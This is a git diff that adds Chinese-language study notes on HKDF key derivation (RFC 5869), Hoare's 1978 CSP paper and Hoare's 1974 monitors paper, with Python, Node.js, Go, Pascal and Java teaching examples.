+server_ap_traffic  = HKDF-Expand-Label(master_secret, "s ap traffic", transcript_hash, L)
+```
+
+`Expand-Label` 是 TLS 对 HKDF-Expand 的包装：把 `info` 结构化成 `tls13 ` + label + Hash(context)。这样 **handshake 密钥**和 **application 密钥**即使来自同一握手 transcript，也**计算独立**。
+
+## 代码示例 1：Python — 对照 RFC 5869 附录测试向量
+
+RFC 附录 **Test Case 1**（SHA-256）是验证实现是否正确的金标准：
+
+```python
+from cryptography.hazmat.primitives import hashes
+from cryptography.hazmat.primitives.kdf.hkdf import HKDFExpand, HKDFExtract
+
+# RFC 5869 Appendix A.1
+ikm  = bytes.fromhex("0b" * 11 + "0b0b0b0b0b0b0b0b0b0b0b")  # 22 bytes
+salt = bytes.fromhex("000102030405060708090a0b0c")
+info = bytes.fromhex("f0f1f2f3f4f5f6f7f8f9")
+L    = 42
+
+hash_alg = hashes.SHA256()
+prk = HKDFExtract(algorithm=hash_alg, salt=salt).derive(ikm)
+okm = HKDFExpand(algorithm=hash_alg, length=L, info=info).derive(prk)
+
+expected_prk = bytes.fromhex(
+    "077709362c2e32df0ddc3f0dc47bba6390b6c73bb50f9c3122ec844ad7c2b3e5"
+)
+expected_okm = bytes.fromhex(
+    "3cb25f25faacd57a90434f64d0362f2a2d2d0a90cf1a5a4c5db02d56ecc4c5bf"
+    "34007208d5b887185865"
+)
+
+assert prk == expected_prk, "Extract failed"
+assert okm == expected_okm, "Expand failed"
+print("RFC 5869 Test Case 1: OK")
+```
+
+一次性 `HKDF()` 封装（Extract + Expand 合体）：
+
+```python
+from cryptography.hazmat.primitives.kdf.hkdf import HKDF
+
+okm2 = HKDF(
+    algorithm=hashes.SHA256(),
+    length=L,
+    salt=salt,
+    info=info,
+).derive(ikm)
+assert okm2 == expected_okm
+```
+
+跑通 Test Case 1–3（SHA-256）是写密码库时的常规自检。
+
+## 代码示例 2：Node.js — 从 DH 共享秘密派生 AES 密钥与 HMAC 密钥
+
+应用层常见模式：一次 ECDH，用不同 `info` 切出加密钥和 MAC 钥（**教学示例，生产请用成熟协议如 TLS / Noise**）：
+
+```javascript
+import { hkdf, randomBytes, createDiffieHellman } from "node:crypto";
+import { promisify } from "node:util";
+
+const hkdfAsync = promisify(hkdf);
+
+// 模拟双方 X25519 式 DH（此处用有限域 DH 演示 API）
+const alice = createDiffieHellman(2048);
+const bob = createDiffieHellman(alice.getPrime(), alice.getGenerator());
+alice.generateKeys();
+bob.generateKeys();
+
+const sharedAlice = alice.computeSecret(bob.getPublicKey());
+const sharedBob = bob.computeSecret(alice.getPublicKey());
+if (!sharedAlice.equals(sharedBob)) throw new Error("DH mismatch");
+
+// salt：应来自握手 transcript 或随机；此处演示用随机 32 字节
+const salt = randomBytes(32);
+const ikm = sharedAlice; // DH 输出 —— 必须经过 Extract
+
+const encKey = await hkdfAsync("sha256", ikm, salt, "app-v1|aes-256-gcm", 32);
+const macKey = await hkdfAsync("sha256", ikm, salt, "app-v1|hmac-sha256", 32);
+
+console.log("enc:", encKey.toString("hex").slice(0, 16) + "…");
+console.log("mac:", macKey.toString("hex").slice(0, 16) + "…");
+// enc !== mac：info 域分离生效
+```
+
+`node:crypto.hkdf` 签名：`hkdf(digest, ikm, salt, info, keylen, callback)`，内部完成 Extract + Expand。浏览器侧等价 API 是 `crypto.subtle.deriveBits({ name: "HKDF", hash: "SHA-256", salt, info }, key, length)`。
+
+## 代码示例 3：手动 Expand 循环（读懂 RFC 公式）
+
+下面 20 行展示 Expand 的「计数器链」本质，便于调试「为什么 L > HashLen 要多次 HMAC」：
+
+```python
+import hmac
+import hashlib
+
+def hkdf_expand_manual(prk: bytes, info: bytes, length: int) -> bytes:
+    hash_len = hashlib.sha256().digest_size
+    n = (length + hash_len - 1) // hash_len
+    t = b""
+    okm = b""
+    for i in range(1, n + 1):
+        t = hmac.new(prk, t + info + bytes([i]), hashlib.sha256).digest()
+        okm += t
+    return okm[:length]
+
+# 与 cryptography 库结果应一致
+```
+
+当 `L = 82`、`HashLen = 32` 时，`N = ceil(82/32) = 3`，需要三轮 HMAC 才够长。
+
+## 常见误区
+
+| 误区 | 后果 | 正确做法 |
+|------|------|----------|
+| 把 DH 共享值直接当 AES 密钥 | 密钥空间不均匀，分析面变大 | 始终 `HKDF-Extract(salt, dh_shared)` |
+| 不同用途复用同一 `info` | 密钥相关，可能降格安全性 | 每个用途唯一 `info` 字符串 |
+| 用 HKDF 派生「登录密码」密钥 | 无慢哈希，易被字典攻击 | PBKDF2 / Argon2 + 可选 HKDF 二次扩展 |
+| `L` 只需 16 字节却省略 `info` | RFC 不推荐；上下文未绑定 | 即使短 key 也走 Expand 并设 `info` |
+| salt 由攻击者控制且未认证 | 可能削弱 Extract | salt 来自协议已认证字段或本地随机 |
+
+## 安全属性（直觉）
+
+在 HMAC 建模为 PRF 的前提下，HKDF 保证：
+
+1. **伪随机性**：OKM 在计算上不可与均匀随机区分（给定 IKM/salt/info 的适当独立性假设）
+2. **上下文分离**：同一 IKM、不同 `info` → 不同 OKM，且已知其一难以推另一
+3. **保守哈希使用**：只依赖 HMAC 而非裸 Hash 拼接，减轻哈希函数结构攻击面
+
+完整证明见 Krawczyk, *Cryptographic Extraction and Key Derivation: The HKDF Scheme*（CRYPTO 2010）。RFC 5869 是工程可落地的规范化描述。
+
+## 与其他规范的交叉引用
+
+- [[tls-1-3-rfc8446]] — HKDF 最大规模部署场景
+- [[noise-protocol-framework]] — 握手链密钥与 HKDF 同构
+- [[signal-double-ratchet-2016]] — 棘轮链密钥派生
+- [[hmac-rfc2104]] — HKDF 的底层原语（若笔记存在）
+- [[wireguard-2017]] — HKDF-BLAKE2s 变体
+
+## 小结
+
+| 概念 | 一句话 |
+|------|--------|
+| Extract | `PRK = HMAC(salt, IKM)`，把不均匀 IKM 压成固定长度伪随机密钥 |
+| Expand | 计数器链式 HMAC，按 `info` 标签输出任意长度 OKM（≤ 255×HashLen） |
+| salt | 非秘密但宜随机；加强 Extract，防跨源混淆 |
+| info | 用途绑定；防「同一原料调出同一口味」 |
+| 典型用户 | TLS 1.3、Noise、Signal、IKEv2、Web Crypto |
+
+**零基础记忆口诀**：先**榨**（Extract）成基底，再按**标签**（info）**兑**（Expand）多杯密钥；DH 果汁必须先榨，密码原料别只用 HKDF。
diff --git a/src/content/docs/papers/hoare-csp-1978.md b/src/content/docs/papers/hoare-csp-1978.md
new file mode 100644
index 000000000..f5e24db4d
--- /dev/null
+++ b/src/content/docs/papers/hoare-csp-1978.md
@@ -0,0 +1,286 @@
+---
+title: Communicating Sequential Processes — Hoare 1978 零基础学习笔记
+来源: https://www.cs.cmu.edu/~crary/819-f09/Hoare78.pdf
+日期: 2026-06-13
+子分类: 类型与 PL 理论
+分类: 编程语言
+provenance: pipeline-v3
+---
+
+## 日常类比：接力赛里的传棒，不是抢同一块白板
+
+想象一场 **4×100 米接力**。每位选手有自己的跑道和号码布（**局部状态**），**不能**跑到隔壁赛道改别人的成绩。要把接力棒交给下一位，必须 **两人同时伸手在交接区会合**——你举着棒等，对方也得伸手接；任何一方没到，另一方就 **一直等**。棒不会 magically 出现在终点：没有「共享内存里的缓冲区」自动帮你存着。
+
+C. A. R. Hoare 在 1978 年发表于 *Communications of the ACM* 的 [Communicating Sequential Processes](https://www.cs.cmu.edu/~crary/819-f09/Hoare78.pdf)（Vol. 21 No. 8，pp. 666–677，DOI [10.1145/359576.359585](https://dl.acm.org/doi/10.1145/359576.359585)）主张：并发程序也该这样组织——
+
+- **进程（process）** 是只会顺序执行自己指令的「选手」；
+- **输入 `?` 与输出 `!`** 是像传棒一样的基本原语；
+- **`||` 并行组合** 让多个选手同时跑，但数据只通过 **点名 channel 会合** 流动。
+
+论文把 Dijkstra 的 **守卫命令（guarded command）** 搬进来：`*[ 条件 → 动作 ]` 表示循环，多路 `[]` 表示 **谁先满足条件就先执行谁**——天然支持 **非确定性选择**。于是 coroutine、信号量、monitor、有界缓冲区、甚至筛法求素数，都能用 **极小的语法** 拼出来，而不必先发明锁和条件变量。
+
+一句话：**别抢共享白板；约好名字，在传棒区会合。**
+
+## 这篇论文在说什么
+
+| 维度 | 内容 |
+|------|------|
+| 作者 | **C. A. R. Hoare**（Queen's University of Belfast） |
+| 发表 | CACM，**1978 年 8 月** |
+| 页数 | 约 11 页 |
+| 关键词 | 并行编程、输入输出、守卫命令、非确定性、coroutine、monitor、条件临界区 |
+| CR 分类 | 4.20, 4.22, 4.32 |
+| 直接后继 | occam、Ada task、Erlang、**Go**（channel + `select`）、Rust channel、CSP 代数（Brookes–Hoare–Roscoe 1984） |
+
+论文的 **激进主张** 有三条：
+
+1. **I/O 应与赋值、分支同级**，是语言内置原语，而不是 `read()`/`write()` 库函数事后补丁。
+2. **并行组合** `||` 应和顺序组合一样基础，用来 **结构化** 并发，而不是 `fork` + 共享变量 + `pthread_mutex` 大杂烩。
+3. **同步通信（rendezvous）** 默认 **无缓冲**：发送与接收必须 **同时就绪** 才完成一次传递；延迟对进程 **不可见**（像阻塞在 I/O 上一样自然）。
+
+1978 版 CSP 是 **静态** 语言：进程个数在源码里固定，**没有** 进程值变量和递归进程（后来 1984 理论论文才系统处理递归与失败语义）。但正因为限制多，论文里的例子 **特别干净**，适合零基础建立并发直觉。
+
+## 核心概念
+
+### 1. 进程与并行组合 `||`
+
+一个 CSP 程序由若干 **顺序进程** 组成。语法上，方括号里的进程 **同时开始、并行执行**：
+
+```
+[ P || Q || R ]
+```
+
+- 每个进程有 **自己的局部变量**，互不可见。
+- 并行命令 **成功结束** 当且仅当 **所有** 子进程都结束。
+- 语言 **不规定** 各进程相对速度——调度是 **抽象** 的，只保证通信语义。
+
+日常类比：三位选手同时起跑，各自跑自己的圈；全队成绩要等 **最慢的那位** 冲线。
+
+### 2. 输入 `?` 与输出 `!`（会合通信）
+
+若进程 `COPY` 要从 `SOURCE` 读、向 `SINK` 写，论文写法类似：
+
+```
+COPY ::
+  [ SOURCE?x → SINK!x ]
+```
+
+读作：`SOURCE` **输出** 一个值时，`COPY` **输入** 到 `x`，再 **输出** 给 `SINK`。关键规则（论文第 2 节）：
+
+| 规则 | 含义 |
+|------|------|
+| **双向阻塞** | `A!v` 要等 `B?x`（且 `A` 指 `B`、`B` 指 `A`）配对才完成 |
+| **无自动缓冲** | 没有隐式队列；慢的一方会让快的一方 **等着** |
+| **延迟不可见** | 被阻塞的进程感觉不到「等了多久」，只感觉像一次普通 I/O |
+| **按名连接** | 谁和谁通信由 **进程名** 写死在协议里 |
+
+这就是 **rendezvous（会合）**：传棒区里 **双方同时伸手** 才算一次成功传递。
+
+### 3. 守卫命令与重复构造
+
+Dijkstra 的守卫命令在 CSP 里承担 **条件、循环、非确定性**：
+
+```
+< 重复命令 > ::= * [ < 守卫> → < 命令> { [] < 守卫> → < 命令> } ]
+< 选择命令 > ::=   [ < 守卫> → < 命令> { [] < 守卫> → < 命令> } ]
+```
+
+- `G → S`：仅当守卫 `G` 为真才执行 `S`。
+- 多个分支用 `[]` 分隔；若 **多个守卫同时为真**，选哪一个 **未规定**（**非确定性**）——实现可以公平，但 **语义不保证**。
+- `*[ ... ]`：重复执行，直到 **所有** 守卫都为假（或输入源终止，见下）。
+
+### 4. 输入守卫（input guard）
+
+CSP 的创新之一：**channel 上有没有人送数据** 本身可以当守卫：
+
+```
+[ producer?x → 处理 x
+[] consumer!y → 送出 y ]
+```
+
+- 仅当 `producer` **已准备好** 对应 `output` 时，第一条可选；
+- 若 **多条输入守卫** 同时就绪，**任选一条**（又是非确定性）；
+- 在 `*[ ... ]` 里，若某输入守卫的 **源进程已终止**，该守卫永久为假；**所有** 输入守卫的源都终止时，整个重复命令 **结束**。
+
+这让 **有界缓冲区、服务器、多路复用** 不需要显式 `mutex`：「等生产者」和「等消费者」是 **两条守卫**，谁先来服务谁。
+
+### 5. 与共享内存模型的对比
+
+| 维度 | 共享内存 + 锁 | CSP（1978） |
+|------|----------------|-------------|
+| 数据交换 | 读写同一地址 | 仅 `!` / `?` |
+| 同步 | 锁、条件变量、信号量 | 会合本身即同步 |
+| 典型 bug | 数据竞争、死锁、忘记解锁 | 协议死锁（环形等待 channel） |
+| 组合方式 | 线程 + 全局堆 | 进程网络 + 命名 channel |
+
+Hoare 并非否认 monitor（他自己 1974 年刚发表过 [Monitors](/papers/hoare-monitors-1974)），而是证明：**用通信 + 守卫就能表达 monitor 能表达的一大类结构**，且推理时 **不必追踪整个堆上的别名**。
+
+### 6. 静态进程网络
+
+1978 论文里的程序 **进程名与拓扑在编译期固定**。好处：
+
+- 易于在 **单机上用调度器模拟**，也可映射到 **多处理器 + 物理链路**；
+- 便于 **人工验证** 协议（后来发展成 CSP 代数与 model checker FDR）。
+
+代价：不能 `spawn` 任意多个 worker——那是后来 **π-演算（Milner）** 和 **带递归的 CSP** 要解决的问题。
+
+## 代码示例
+
+### 示例 1：COPY — 论文中最小的管道
+
+**CSP 伪代码**（对应论文 copy process）：
+
+```
+COPY ::
+  *[ SOURCE?x → SINK!x ]
+```
+
+**Go 等价实现**（channel 即命名会合点）：
+
+```go
+package main
+
+import "fmt"
+
+func copyProcess(source <-chan int, sink chan<- int) {
+	for x := range source { // 等价于 * [ source?x → ... ]
+		sink <- x            // sink!x；无缓冲时与对端同时就绪才完成
+	}
+}
+
+func main() {
+	source := make(chan int) // 无缓冲 channel ≈ CSP 会合
+	sink := make(chan int)
+	go func() {
+		for _, v := range []int{1, 2, 3} {
+			source <- v
+		}
+		close(source)
+	}()
+	go copyProcess(source, sink)
+	for v := range sink {
+		fmt.Println(v)
+	}
+}
+```
+
+要点：`source <- v` 与 `x := range source` 构成 **双向阻塞**；`copyProcess` 里没有锁，只有 **「有输入才转发」** 的协议。
+
+### 示例 2：有界缓冲区 — 用输入守卫代替条件变量
+
+论文用 **一个进程** 持环形缓冲，两个守卫分别服务生产者与消费者（容量 `N`）：
+
+```
+BUFFER ::
+  [ buf: (0..N-1) integer; in, out: integer;
+    in := 0; out := 0;
+    *[ in < out + N; producer?buf[in mod N] → in := in + 1
+    [] out < in; consumer!buf[out mod N] → out := out + 1
+    ]
+  ]
+```
+
+**Python + 伪同步**（用 `queue.Queue(maxsize=N)` 展示 **背压**：满则生产者阻塞，空则消费者阻塞——语义上接近 CSP 无缓冲会合链，只是标准库在底层用了锁）：
+
+```python
+from queue import Queue
+from threading import Thread
+
+def producer(q: Queue, items):
+    for x in items:
+        q.put(x)  # 队列满时阻塞 ≈ consumer 未就绪，producer! 无法完成
+
+def consumer(q: Queue):
+    while True:
+        x = q.get()  # 队列空时阻塞 ≈ producer 未就绪
+        print("got", x)
+        q.task_done()
+
+def main():
+    q = Queue(maxsize=3)  # N = 3
+    Thread(target=producer, args=(q, range(10))).start()
+    Thread(target=consumer, args=(q,)).start()
+
+if __name__ == "__main__":
+    main()
+```
+
+CSP 版本 **没有** `Queue` 对象在进程外：缓冲索引 `in`/`out` 是 **BUFFER 进程的内部变量**，生产者、消费者是 **别的进程**，只通过 `producer?` / `consumer!` 与 BUFFER **会合**。对比可见：CSP 把「队列 + 两个条件变量」压成 **一个事件循环 + 两个输入守卫**。
+
+### 示例 3：守卫选择 — 多路 `select`
+
+论文语法：
+
+```
+[ clock?tick → 处理超时
+[] worker?job → 处理任务
+]
+```
+
+**Go 的 `select`** 几乎一一对应（且常用来避免 goroutine 泄漏）：
+
+```go
+select {
+case <-clock:
+    handleTimeout()
+case job := <-worker:
+    handleJob(job)
+}
+```
+
+若 `clock` 与 `worker` **同时就绪**，Go **伪随机** 选一个——与 CSP **非确定性** 语义一致：你不能假设公平性，除非自己写额外协议。
+
+## 论文中的经典构造（读懂目录就懂一半历史）
+
+| 构造 | CSP 思路 | 你或许见过 |
+|------|----------|------------|
+| **Coroutine** | 两个进程互相 `?`/`!` 交替 | Python `yield` 协作（概念相近） |
+| **Subroutine** | 调用方 `!` 参数、被调方 `?` 后再 `!` 结果 | 远程过程调用的极简版 |
+| **Bounded buffer** | 单进程 + 双输入守卫 | Java `BlockingQueue` |
+| **Monitor** | 入口进程 + 内部状态进程 | Java `synchronized` |
+| **Sieve of Eratosthenes** | 筛子链：每个素数一个进程，倍数过滤 | Go 并发教程常举 |
+| **Conditional critical region** | 用守卫表达「仅当条件成立才进临界区」 | 后来较少直接用，思想进了 monitor |
+
+**筛法** 特别能体现 CSP 风味：每个筛子进程从左边读整数，若通过素数测试就 **向右传递**，否则丢弃；新素数 **spawn 新筛子** 在 1978 静态语法里要预先展开，但 **管道拓扑** 的思想影响深远。
+
+## 实现与语义上要注意的坑
+
+1. **死锁**：进程环 `A! → B? → B! → C? → C! → A?` 若缓冲为零且顺序不对，全体永久阻塞——与死锁四条件类似，但 **只从 channel 协议** 就能分析。
+2. **非确定性**：多个就绪守卫时 **不要写依赖调度顺序** 的正确性；需要确定性时加 **额外握手或优先级协议**。
+3. **无缓冲的代价**：每次传递都同步，吞吐可能低；工程上常加 **有界缓冲 channel**（Go 带容量 channel、Erlang mailbox 上限）——那是 **实现优化**，1978 语义层仍用会合理解。
+4. **与 π-演算的区别**：CSP 早期 **channel 名静态**；π 演算允许 **传递 channel 名本身**，适合移动进程与动态拓扑。
+5. **与 Actor 的区别**：Actor 典型是 **异步邮箱**（发完就走）；CSP 默认 **同步会合**（发者等收者）。语义和可推理性都不同。
+
+## 历史影响（为什么 1978 仍值得读）
+
+- **Go**（Rob Pike 等）把 slogan 写在官网上：*Don't communicate by sharing memory; share memory by communicating*——几乎是这篇论文的脚注。
+- **occam**（INMOS Transputer）把 CSP 做成 **可运行语言**，`PAR`/`ALT` 关键字影响一代嵌入式并发。
+- **Ada task** 的 rendezvous 直接标注受 CSP 启发。
+- **Erlang**「进程 + 消息」与 CSP **精神亲缘**（虽异步为主）。
+- **CSP/FDR、Promela/SPIN** 等验证工具，把 **进程代数** 用于工业级协议检查。
+- **C.A.R. Hoare** 本人因程序设计语言与形式方法的工作获 **1980 年图灵奖**；CSP 是其中 **最常被引用的并发模型之一**。
+
+若你只读过共享内存多线程，读 1978 CSP 会像 **换了一副眼镜**：并发不再是「防止别人踩我的变量」，而是 **设计传棒协议**。
+
+## 延伸阅读
+
+| 资源 | 说明 |
+|------|------|
+| [Hoare 1978 PDF](https://www.cs.cmu.edu/~crary/819-f09/Hoare78.pdf) | 原文，含完整语法与习题解答 |
+| [Brookes, Hoare, Roscoe 1984 — A Theory of CSP](https://dl.acm.org/doi/10.1145/828.833) | 失败集合、递归、隐藏运算符的数学基础 |
+| [PRG-14 CSP 教程 (Oxford)](https://www.cs.ox.ac.uk/files/3236/PRG14.pdf) | 逐章对照 Algol 60 的入门讲义 |
+| 本库 [CSP 速记](/papers/csp-hoare-1978) | 更短的姊妹篇 |
+| 本库 [Monitors Hoare 1974](/papers/hoare-monitors-1974) | 共享内存路线对照 |
+| [The Go Programming Language — Concurrency](https://go.dev/blog/codelab-share) | 现代 channel 实践 |
+
+## 自测题
+
+1. 为什么 CSP 说 **无自动缓冲**？若强行加无限缓冲，会合语义会丢什么？
+2. 写出两条输入守卫同时就绪时，CSP 允许实现做什么？对程序员意味着什么？
+3. 用 `?`/`!` 描述「函数调用」：调用方如何传参、如何拿回返回值？
+4. Go 带缓冲 `make(chan int, 10)` 与 1978 CSP 的差别在哪里？仍能用会合直觉理解吗？
+5. 有界缓冲区 CSP 版为何不需要 `wait`/`signal`？
+
+---
+
+*学习路径建议：先读本文建立传棒直觉 → 读原文 Section 3–5 看语法 → 用 Go channel 写 COPY 与 worker pool → 再读 1984 理论论文理解 failures/divergence。*
diff --git a/src/content/docs/papers/hoare-monitors-1974.md b/src/content/docs/papers/hoare-monitors-1974.md
new file mode 100644
index 000000000..9955d0520
--- /dev/null
+++ b/src/content/docs/papers/hoare-monitors-1974.md
@@ -0,0 +1,270 @@
+---
+title: Monitors — Hoare 1974 操作系统结构化概念（零基础学习笔记）
+来源: https://en.wikipedia.org/wiki/Monitor_(synchronization)
+日期: 2026-06-13
+分类: 操作系统
+子分类: 内核与虚拟化
+provenance: pipeline-v3
+---
+
+## 日常类比：银行 VIP 室，不是抢号机
+
+想象一家银行里有一间 **VIP 洽谈室**（monitor），里面放着一本 **共享账本**（monitor 的局部数据）和一位 **客户经理**（monitor 里的过程/方法）。
+
+规则很简单：
+
+1. **同一时间只允许一位客户进门办事**——这就是 **互斥（mutual exclusion）**。
+2. 客户进门后可以说：「我要换 100 美元，但金库暂时没现钞。」客户经理不会让客户在柜台前干瞪眼占着位子（那叫 **忙等 / spin-wait**，浪费大家时间），而是让客户 **到等候区坐下**（`wait`），并 **把 VIP 室钥匙让出来**，让下一位客户进来 **释放资源或改变状态**。
+3. 当金库补好了，正在办事的客户或经理喊一声：「现钞有了！」（`signal`），等候区里 **恰好一位** 客户被叫回洽谈室继续办业务。
+
+Hoare 在 1974 年发表的 [Monitors: An Operating System Structuring Concept](https://dl.acm.org/doi/10.1145/355620.361161)（*Communications of the ACM*，Vol. 17 No. 10，pp. 549–557）要做的，就是把这种「**数据 + 操作 + 互斥 + 有条件地睡觉与叫醒**」打包成操作系统里 **结构化并发** 的基本模块。论文在 Per Brinch Hansen 提出 monitor 雏形的基础上，形式化了 **条件变量（condition variable）** 上的 `wait` / `signal`，给出了 **基于信号量的实现思路** 和 **霍尔式证明规则**，并用有界缓冲区、闹钟、磁盘调度、读者写者等经典问题示范。
+
+一句话：**monitor 不是又一种锁，而是「把共享状态和它该遵守的规则锁在同一个房间里」的架构手法。**
+
+## 这篇论文在说什么
+
+| 维度 | 内容 |
+|------|------|
+| 作者 | **C. A. R. Hoare**（当时 Queen's University of Belfast） |
+| 发表 | CACM，**1974 年 10 月** |
+| DOI | [10.1145/355620.361161](https://dl.acm.org/doi/10.1145/355620.361161) |
+| 前驱 | Brinch Hansen 的 monitor 与 **Concurrent Pascal** |
+| 后继影响 | Modula、C# `lock`、Java `synchronized` + `wait`/`notify`、POSIX `pthread_mutex` + `pthread_cond` |
+| CR 分类 | 4.31, 4.22（操作系统、并发） |
+
+论文要解决的核心痛点：早期多道程序用 **临界区散落各处**（Dijkstra 的 critical region 思想）或裸 **信号量**，程序员容易写出 **时间依赖 bug**——代码「偶尔能跑」取决于调度顺序。Hoare 主张：**把「保护谁」和「在什么条件下等待」写进一个文本上相邻的模块**，让不变量（invariant）可见、可证。
+
+## 核心概念
+
+### 1. Monitor 的组成
+
+一个 monitor 包含：
+
+| 部分 | 作用 |
+|------|------|
+| **局部变量** | 描述资源状态（如「空闲缓冲区个数」「磁盘头方向」） |
+| **过程（entries）** | 外界唯一能合法改动这些变量的入口 |
+| **互斥** | 任意时刻 **最多一个** 线程在执行 monitor 内代码 |
+| **条件变量** | 多种「等不及了」的原因分开排队 |
+
+调用 monitor 过程 ≈ 先拿锁进门，办完出门放锁。过程 **不应读写 monitor 外的全局变量**（否则又回到时间依赖泥潭）。
+
+### 2. 不变量 I（monitor invariant）
+
+程序员为 monitor 关联断言 **I**：当 **没有线程在 monitor 内执行** 时，I 必须为真。
+
+例如有界缓冲区 monitor 里，若 `count` 是当前元素个数、`N` 是容量，则：
+
+\[
+0 \le count \le N
+\]
+
+每次 `wait` 或 `signal` **之前**，当前线程必须重新建立 I；`wait` 会暂时离开 monitor，因此 **离开前 I 必须成立**，否则别的线程进门看到烂状态。
+
+### 3. wait 与 signal（Hoare 语义）
+
+对条件变量 `b`，程序员关联断言 **B**（「我等的就是 B 为真」）。
+
+**wait(b)**（在 monitor 过程内调用）：
+
+1. 断言 **I ∧ B** 已成立；
+2. 调用者 **阻塞** 并进入 `b` 的等待队列；
+3. **释放 monitor 互斥**，让其他线程能 `signal` 或调用别的过程。
+
+**signal(b)**：
+
+1. 调用前须保证 **I ∧ B**（你要叫醒的人等的就是 B）；
+2. 若 `b` 上有人等，**立刻** 唤醒其中一个（Hoare 原论文：**被唤醒者优先**，signal 方暂停，把 monitor 占有权交给被唤醒者）；
+3. 若无人等，`signal` **空操作**。
+
+这与后来 Mesa/Java 常用的语义不同：Mesa 里 `signal` 后 **唤醒者只是「有资格竞争锁」**，醒来后要 **while 重查条件**（spurious wakeup）。学 Hoare 论文时务必分清 **Hoare semantics vs Mesa semantics**。
+
+### 4. 霍尔证明规则（论文亮点）
+
+论文给出对称的公理化规则，便于用 **谓词演算** 推理 monitor 正确性：
+
+| 操作 | 前置条件 | 后置条件 |
+|------|----------|----------|
+| `b.wait` | **I ∧ B** | （线程离开 monitor，I 已恢复） |
+| `b.signal` | **I ∧ B** | **I**（B 可能被唤醒者改假，故只保留 I） |
+
+记忆口诀：**wait 带着「不变量 + 我等什么」进去睡；signal 带着「不变量 + 条件已真」去叫人，叫完只敢保证不变量还在。**
+
+### 5. 优先级 wait（scheduled wait）
+
+FCFS 不够用时（如 **闹钟**：谁该先响取决于「期望唤醒时刻」），Hoare 引入带优先级参数的 wait，例如 `busy.wait(p)`：`signal` 时唤醒 **p 最小** 的等待者。论文用 **alarm clock monitor** 示范——操作系统里「到点叫醒进程」的雏形。
+
+### 6. 与信号量的关系
+
+论文说明 monitor **可用二元信号量实现**，与 P/V 操作 **表达能力等价**；但 monitor 在 **源码结构** 上更利于人类推理和操作系统分层（每个资源一类 monitor：缓冲区、磁盘、打印机…）。
+
+```mermaid
+flowchart TB
+  subgraph Monitor["Monitor（VIP 洽谈室）"]
+    Data["局部数据 + 不变量 I"]
+  end
+  P1["线程调用 entry"] --> Mutex["获取互斥"]
+  Mutex --> Data
+  Data --> Cond{"条件 B 满足？"}
+  Cond -->|否| Wait["wait(b)：释放互斥并睡眠"]
+  Wait --> Queue["条件 b 等待队列"]
+  Signal["其他线程 signal(b)"] --> Queue
+  Queue --> Resume["被唤醒，重新占有 monitor"]
+  Cond -->|是| Work["执行临界操作"]
+  Resume --> Work
+  Work --> Exit["释放互斥，离开 monitor"]
+```
+
+## 代码示例 1：单资源调度（acquire / release）
+
+最简单的 monitor 像 **二元信号量**：资源空闲与否用布尔变量 `busy` 表示。
+
+```pascal
+monitor ResourceScheduler;
+  var busy: boolean;
+
+  procedure acquire;
+  begin
+    if busy then
+      wait(busy);   { 等「资源空闲」条件；论文里条件名与断言关联 }
+    busy := true;
+  end;
+
+  procedure release;
+  begin
+    busy := false;
+    signal(busy);   { 叫醒一位等资源的线程 }
+  end;
+
+begin   { monitor 初始化 }
+  busy := false;
+end;
+```
+
+使用前：`busy = false` ⇒ **I** 成立（资源可用状态一致）。`acquire` 在 `busy` 为真时 wait；`release` 置 `busy := false` 并 signal。注意：**if busy then wait** 在 Hoare 论文风格里常见；现代写法更倾向 **`while not B do wait(b)`**（Mesa），防止虚假唤醒。
+
+## 代码示例 2：有界缓冲区（生产者—消费者）
+
+论文用 **bounded buffer** 展示 **多个条件变量** 共用一个 monitor：生产者等「非满」，消费者等「非空」。
+
+```pascal
+monitor BoundedBuffer;
+  const N = 10;
+  var buffer: array[1..N] of Item;
+      count, in, out: integer;
+      notFull, notEmpty: condition;
+
+  procedure put(x: Item);
+  begin
+    if count = N then
+      wait(notFull);      { B: count < N }
+    buffer[in] := x;
+    in := in mod N + 1;
+    count := count + 1;
+    signal(notEmpty);     { 可能唤醒等数据的消费者 }
+  end;
+
+  procedure get(var x: Item);
+  begin
+    if count = 0 then
+      wait(notEmpty);     { B: count > 0 }
+    x := buffer[out];
+    out := out mod N + 1;
+    count := count - 1;
+    signal(notFull);      { 可能唤醒等空位的生产者 }
+  end;
+
+begin
+  count := 0; in := 1; out := 1;
+end;
+```
+
+**不变量 I**：`0 ≤ count ≤ N`，且 `in`、`out` 在环形数组语义下一致。`put` 在满时等 `notFull`；`get` 在空时等 `notEmpty`——**两种「睡不着」的原因分开排队**，比用一个条件变量 + 复杂判断清晰得多。
+
+## 代码示例 3：Java 里的 monitor 后裔（对比阅读）
+
+Java 每个对象自带一把锁；`synchronized` 方法 ≈ monitor entry，`wait`/`notify` ≈ 条件变量（实际是 **Mesa 语义**）：
+
+```java
+class BoundedBuffer {
+    private final Object[] buf = new Object[10];
+    private int count, in, out;
+
+    public synchronized void put(Object x) throws InterruptedException {
+        while (count == buf.length)   // Mesa：必须用 while 重查
+            wait();
+        buf[in] = x;
+        in = (in + 1) % buf.length;
+        count++;
+        notifyAll();                  // 唤醒可能等在 notEmpty 上的消费者
+    }
+
+    public synchronized Object get() throws InterruptedException {
+        while (count == 0)
+            wait();
+        Object x = buf[out];
+        out = (out + 1) % buf.length;
+        count--;
+        notifyAll();
+        return x;
+    }
+}
+```
+
+`wait()` 释放 **this** 上的监视器锁；`notify` 不保证立即把 CPU 交给被唤醒线程——这是学 Hoare 1974 后读 Java 源码时最常踩的 **语义落差**。
+
+## 论文中的其他示范（知道名字即可）
+
+| 例子 | 说明 |
+|------|------|
+| **Alarm clock** | 按唤醒时间优先级排队；tick 过程周期性 signal |
+| **Buffer pool** | 比简单有界缓冲更复杂的消息块分配 |
+| **Disk head optimizer** | 减少磁头换向；展示 monitor 组织 I/O 策略 |
+| **Readers / writers** | 「公平」读者写者版本；说明 monitor 也能表达复杂调度策略 |
+
+这些例子共同说明：Hoare 关心的不只是「互斥」，而是 **把操作系统里一类资源的策略封装成可验证模块**。
+
+## 常见误区
+
+| 误区 | 正解 |
+|------|------|
+| 「有 `mutex` 就够了」 | 还需要 **条件变量** 表达「等某个谓词为真」，否则只能忙等或复杂轮询 |
+| `signal` 之后条件一定仍真 | 被唤醒者往往要 **重新检查 B**；signal 方只保证调用瞬间 **I ∧ B** |
+| monitor 自动防死锁 | **不防**。多 monitor、锁顺序错误仍会死锁；论文明确这是程序员责任 |
+| Hoare 与 Mesa 一样 | Java/pthread 多为 Mesa；教材画 Hoare 优先唤醒图时要分清 |
